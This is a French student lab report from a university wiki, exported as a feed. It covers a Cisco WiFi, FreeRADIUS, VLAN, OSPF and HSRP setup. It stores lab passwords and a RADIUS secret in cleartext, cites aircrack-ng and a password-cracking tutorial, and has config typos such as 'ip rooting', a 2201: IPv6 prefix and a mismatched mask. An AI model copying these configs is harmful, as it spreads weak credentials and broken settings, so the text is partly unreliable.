 authentication open eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication network-eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration du Vlan'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 encryption vlan 2 mode ciphers aes-ccm tkip&lt;br /&gt;
 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Création d'une sous interface'''&lt;br /&gt;
 &lt;br /&gt;
interface dot11Radio0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
''' '''&lt;br /&gt;
 interface gigabite0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Ajout SSID dans l'interface Dot11Radio0'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Rendre visible le SSID'''&lt;br /&gt;
 &lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 mbssid&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
 mbssid guest-mode &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 exit&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
 reload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Serveur FreeRadius==&lt;br /&gt;
L'objectif d'un serveur Radius est de centraliser tous les utilisateurs sur un seul et unique serveur&lt;br /&gt;
&lt;br /&gt;
 # ssh @193.48.57.161&lt;br /&gt;
 &lt;br /&gt;
'''Installation de freeradius'''&lt;br /&gt;
On commence par installer le logiciel freeradius sur la VM&lt;br /&gt;
&lt;br /&gt;
 # apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/freeradius/3.0/users, on ajoute nos utilisateurs : &lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password :=&amp;quot;glopglop&amp;quot;&lt;br /&gt;
 apache Cleartext-Password :=&amp;quot;capitaine&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Et dans /etc/freeradius/3.0/mods-enabled/mschap :&lt;br /&gt;
&lt;br /&gt;
use_mppe = yes&lt;br /&gt;
require_encryption = yes&lt;br /&gt;
require_strong = yes&lt;br /&gt;
with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Enfin, on ajoute la borne à la liste des clients : &lt;br /&gt;
 client access-point {                 &lt;br /&gt;
       ipaddr          = 10.60.0.100   &lt;br /&gt;
       secret          = glopglop      &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
Et on relance FreeRadius&lt;br /&gt;
&lt;br /&gt;
 service freeradius restart&lt;br /&gt;
&lt;br /&gt;
== Architecture Réseau ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, vous trouverez comment nous avons configuré les routeurs ainsi que les commutateurs qui se trouve dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
=== Bridge Cordouan ===&lt;br /&gt;
&lt;br /&gt;
Nous avons due modifier le bridge de cordouan afin de relier les 2 ports ethernets ensemble&lt;br /&gt;
&lt;br /&gt;
nano /ect/network/interfaces&lt;br /&gt;
    &lt;br /&gt;
    # Bridge for IMA2a5&lt;br /&gt;
    &lt;br /&gt;
    auto eth1 &lt;br /&gt;
    auto eth4&lt;br /&gt;
    iface eth1 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
    iface eth4 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
      &lt;br /&gt;
    auto IMA2a5&lt;br /&gt;
    iface IMA2a5 inet manual&lt;br /&gt;
      bridge_ports eth1 eth4&lt;br /&gt;
&lt;br /&gt;
Puis on réveille les ports à l'aide de Ifdown et Ifup&lt;br /&gt;
&lt;br /&gt;
=== Configuration des 2 commutateurs ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au commutateur, nous avons utilisé minicom avec un cable série directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le '''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Voici quelque commandes de base qui nous ont servi pour la configuration des commutateurs&lt;br /&gt;
&lt;br /&gt;
    enable           // passage en admin pour pouvoir accéder aux données du commutateur&lt;br /&gt;
&lt;br /&gt;
    write            // Sauvegarde de la configuration et l’implanter dans le commutateur&lt;br /&gt;
&lt;br /&gt;
    show interface status OU sh int status  // Montre l'état de toutes les interfaces présentes sur le commutateur ainsi que les données associées&lt;br /&gt;
&lt;br /&gt;
    configuration terminal    // permets d'accéder aux interfaces et ainsi pouvoir les modifier&lt;br /&gt;
&lt;br /&gt;
    exit             // permets de sortir du configurateur actuel (par exemple sortir de l'interface)&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports du commutateur ====&lt;br /&gt;
&lt;br /&gt;
Nous avons 4 connexions qui sont dirigées vers le commutateur de la salle E304 ainsi que celui en E306&lt;br /&gt;
 - Un lien vers le routeur&lt;br /&gt;
 - Un lien vers la borne wifi&lt;br /&gt;
 - Un lien vers Corduan&lt;br /&gt;
 - Un lien vers l'autre commutateur&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align: center;width: 85%;margin: auto;&amp;quot;&lt;br /&gt;
! Connexion !! E306 !! E304&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Corduan&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/1 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 1/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Borne Wifi&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/3 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 2/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Router&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 5/1(E306) &amp;amp; Ge 1/1(E304) &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 1/1(E306) &amp;amp; Ge 2/2(E304) &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour la borne wifi =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    //Rendre accessible la modification du port&lt;br /&gt;
    switchport trunk encapsulation dot1q   //Encapsule avec la trame le numéro du Vlan associé, ce qui permettra de d'avoir de quel équipement viens le paquet ainsi la réponse sera dirigé vers le bon port&lt;br /&gt;
    switchport mode trunk   //Configure le port du switch en mode trunk, ce qui permets de ne pas avoir de restriction sur les Vlan, tous les Vlan peuvent passer à travers ce port&lt;br /&gt;
    no shut    //Démarre le port ou de le garder actif&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour Corduan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan42 //Autoriser le vlan 42 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour le router =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour l'autre routeur =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création des Vlan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 42&lt;br /&gt;
    name Corduan&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 2 à 7&lt;br /&gt;
    name groupe 1 à 6&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 130&lt;br /&gt;
    name interconnexion&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
Pour supprimer un vlan il suffit de faire :&lt;br /&gt;
    no vlan X&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E304 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyACM0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   ip routing&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.254   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.6 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   ipv6 unicast-routing&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
  enable                                                  &lt;br /&gt;
 &lt;br /&gt;
  configure terminal&lt;br /&gt;
 &lt;br /&gt;
  interface XXXX                         &lt;br /&gt;
  no ip address                            //Pas d'addresse IP associé&lt;br /&gt;
  negotiation auto                         //Détermine automatiquement la vitesse de transfert&lt;br /&gt;
  media-type RJ45                          //Type de connexion (ici RJ45)&lt;br /&gt;
&lt;br /&gt;
Voici les vlan associé à nos groupes :&lt;br /&gt;
 &lt;br /&gt;
  service instance 2 ethernet              // création d'un vlan 2 dans cette interface&lt;br /&gt;
  encapsulation dot1q 2                    // Permets d'assurer une continuité d'un VLAN issue d'un switch sur un routeur via un lien trunk&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric      // retire le tag du vlan &lt;br /&gt;
  bridge-domain 2                          //création d'un bridge domaine interface (BDI) attribué au chiffre 2&lt;br /&gt;
    &lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
  encapsulation dot1q 3&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 3&lt;br /&gt;
    &lt;br /&gt;
  service instance 4 ethernet&lt;br /&gt;
  encapsulation dot1q 4&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 4&lt;br /&gt;
  &lt;br /&gt;
  service instance 5 ethernet&lt;br /&gt;
  encapsulation dot1q 5&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 5&lt;br /&gt;
    &lt;br /&gt;
  service instance 6 ethernet&lt;br /&gt;
  encapsulation dot1q 6&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 6&lt;br /&gt;
  &lt;br /&gt;
  service instance 7 ethernet&lt;br /&gt;
  encapsulation dot1q 7&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 7&lt;br /&gt;
&lt;br /&gt;
Voici le vlan associé à l'interconnexion :&lt;br /&gt;
 &lt;br /&gt;
  service instance 42 ethernet&lt;br /&gt;
  encapsulation dot1q 42&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 42&lt;br /&gt;
&lt;br /&gt;
======  Vers le SR 32 ======&lt;br /&gt;
  interface XXXX                        &lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 130 ethernet&lt;br /&gt;
  encapsulation dot1q 130&lt;br /&gt;
  bridge-domain 130&lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
===== Configuration des BDI =====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface BDI1&lt;br /&gt;
   ip address 10.60.0.254 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI2&lt;br /&gt;
   ip address 10.60.1.254 255.255.255.000           //Attribut l'addresse IPV4 pour le routeur ainsi que son mask&lt;br /&gt;
   standby version 2                                //Activation du HSRP (Host service Routing protocole) version 2 plus stable que la 1&lt;br /&gt;
   standby 2 ip 10.60.1.252                       //Donne l'addresse  IPV4 du routeur virtuelle pour le HSRP                             &lt;br /&gt;
   standby 2 preempt                              // Activation du HSRP         &lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64      //Attribut l'addresse IPV6                             &lt;br /&gt;
   ipv6 enable                                      //Active l'addressage IPV6                              &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900  //Donner un préfixe IPV6 à chaque machine                              &lt;br /&gt;
   ipv6 nd router-preference high                    //IPV6 sera la route de préférence par défaut avec une forte probabilitée&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI3&lt;br /&gt;
   ip address 10.60.2.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252                                                     &lt;br /&gt;
   standby 3 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                       &lt;br /&gt;
   &lt;br /&gt;
   interface BDI4&lt;br /&gt;
   ip address 10.60.3.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252                                                     &lt;br /&gt;
   standby 4 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI5&lt;br /&gt;
   ip address 10.60.4.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252                                                    &lt;br /&gt;
   standby 5 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI6&lt;br /&gt;
   ip address 10.60.5.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252                                                      &lt;br /&gt;
   standby 6 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit  &lt;br /&gt;
   &lt;br /&gt;
   interface BDI7&lt;br /&gt;
   ip address 10.60.6.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252                                                      &lt;br /&gt;
   standby 7 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B7::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B7::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                                 &lt;br /&gt;
 &lt;br /&gt;
   interface BDI42&lt;br /&gt;
   ip address 193.48.57.173 255.255.255.240         &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172                                                     &lt;br /&gt;
   standby 42 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900                               &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   int vlan 130&lt;br /&gt;
   ip address 192.168.222.1 255.255.255.248         &lt;br /&gt;
   ipv6 address fe80::2 link-local                  &lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 rip tpima2a5 enable                        &lt;br /&gt;
   exit&lt;br /&gt;
   ip rooting&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E306 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour SR32 =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan130 //Autoriser le vlan 130 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour les commutateurs =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.253   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.8 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan1&lt;br /&gt;
   ip address 10.60.0.253 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan2&lt;br /&gt;
   ip address 10.60.1.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 2 ip 10.60.1.252&lt;br /&gt;
   standby 2 preempt&lt;br /&gt;
   exit&lt;br /&gt;
     &lt;br /&gt;
   interface Vlan3&lt;br /&gt;
   ip address 10.60.2.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252&lt;br /&gt;
   standby 3 preempt&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface Vlan4&lt;br /&gt;
   ip address 10.60.3.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252&lt;br /&gt;
   standby 4 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan5&lt;br /&gt;
   ip address 10.60.4.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252&lt;br /&gt;
   standby 5 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan6&lt;br /&gt;
   ip address 10.60.5.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252&lt;br /&gt;
   standby 6 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan7&lt;br /&gt;
   ip address 10.60.6.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2201:660:4401:60B7::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2201:660:4401:60B7::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252&lt;br /&gt;
   standby 7 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan42&lt;br /&gt;
   ip address 193.48.57.174 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172&lt;br /&gt;
   standby 42 preempt&lt;br /&gt;
   exit&lt;br /&gt;
          &lt;br /&gt;
   interface Vlan130&lt;br /&gt;
   ip address 192.168.222.2 255.255.255.248&lt;br /&gt;
   ipv6 address FE80::42:3 link-local&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
https://rex.plil.fr/&lt;br /&gt;
&lt;br /&gt;
https://wiki-ima.plil.fr/mediawiki//index.php/Accueil&lt;br /&gt;
&lt;br /&gt;
https://tutofacile.org/2017/04/installation-configuration-bind/&lt;br /&gt;
&lt;br /&gt;
https://wiki.debian.org/fr/Bind9&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/apache2&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/aircrack-ng&lt;br /&gt;
&lt;br /&gt;
https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:RAID5.png&amp;diff=51601</id>
		<title>Fichier:RAID5.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:RAID5.png&amp;diff=51601"/>
				<updated>2019-12-07T13:21:37Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51600</id>
		<title>TP sysres IMA2a5 2019/2020 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51600"/>
				<updated>2019-12-07T13:19:36Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : /* Stockage Raid5 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Maxime Hirt - Fabien Cavalier''&lt;br /&gt;
&lt;br /&gt;
==Présentation du Groupe et du projet==&lt;br /&gt;
Le groupe de projet est contitué de:&lt;br /&gt;
* Cavalier Fabien &lt;br /&gt;
* Hirt Maxime.&lt;br /&gt;
&lt;br /&gt;
Lors de ce projet nous allons devoir:&lt;br /&gt;
* Créer une architecture reseaux avec un système de redondance&lt;br /&gt;
* Créer une machine virtuel&lt;br /&gt;
* Parametrer des connections IPV6&lt;br /&gt;
